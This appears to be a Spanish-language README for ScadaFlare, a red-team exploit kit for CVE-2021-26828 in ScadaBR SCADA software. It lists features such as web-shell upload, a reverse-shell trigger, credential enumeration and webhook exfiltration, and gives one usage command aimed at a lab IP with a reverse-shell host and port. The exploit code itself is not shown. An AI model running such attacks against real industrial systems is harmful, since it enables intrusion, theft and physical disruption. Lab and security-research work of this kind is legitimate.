ScadaFlare - Kit de explotación de RCE autenticado CVE-2021-26828

Exploit modular de RCE post-autenticación dirigido a ScadaBR <1.1.0, mejorado para operaciones de red team.

Características

• Sube una shell .jsp armada a través de view_edit.shtm
• Compatible con payloads de Linux y Windows
• Soporte de proxy SOCKS5 / HTTP
• Disparador de reverse shell (estándar o base64)
• Módulos de enumeración (BD, credenciales, Log4Shell, etc.)
• Exfiltración por webhook (Slack / Discord)
• Generación de scripts de recursos de Metasploit
• Soporte de limpieza (kill switch)

Mapeo de Técnicas MITRE ATT&CK

Fase	Técnica	ID
Acceso inicial (post-autenticación)	Cuentas válidas	T1078
Ejecución	Explotación de aplicación expuesta al público	T1190
Ejecución de comandos	Web Shell	T1505.003
Acciones de privilegios	Modificar contenido web	T1505
Acceso a credenciales	Credenciales en archivos de configuración	T1552.001
Descubrimiento	Descubrimiento remoto de sistemas	T1018
Exfiltración	Exfiltración a través de servicio web	T1567.002
Evasión de defensas	Proxy y tunelización de protocolo	T1090

CVE

• CVE-2021-26828
• Descubierto por Fellipe Oliveira
• Exploit mejorado y modularizado

Por Qué Existe

Este exploit se desarrolló durante el análisis del escenario HTB Pro Lab: Alchemy. El PoC original de Fellipe Oliveira era sólido, pero:

• Estaba escrito en Python 2
• Carecía de funciones modernas como soporte de proxy, limpieza de shell y encadenamiento de enumeración
• Era difícil de ampliar o integrar en flujos de trabajo de red team

Esta versión, ScadaFlare, es una reescritura completa en Python 3 con soporte modular, múltiples estrategias de evasión, anulación de la detección de SO, integración de webhooks, soporte de proxy SOCKS y cadenas de enumeración para uso operativo en el mundo real.

Uso

python3 scadaflare.py http://172.16.0.20:80 admin admin \
  --reverse-ip 10.10.14.44 --reverse-port 4445 \
  --verbose --cleanup

Solo Uso Legal y Ético

ScadaFlare está diseñado únicamente para:

• Educación en hacking ético
• Pruebas en laboratorio SCADA
• Investigación defensiva y validación de vulnerabilidades

El uso no autorizado contra sistemas industriales reales puede:

• Interrumpir procesos físicos
• Causar daños o riesgos de seguridad
• Conllevar graves consecuencias legales

Al usar esta herramienta aceptas toda la responsabilidad de:

• Obtener autorización explícita por escrito
• Operar únicamente en entornos aprobados

Licencia

Licencia MIT – consulta LICENSE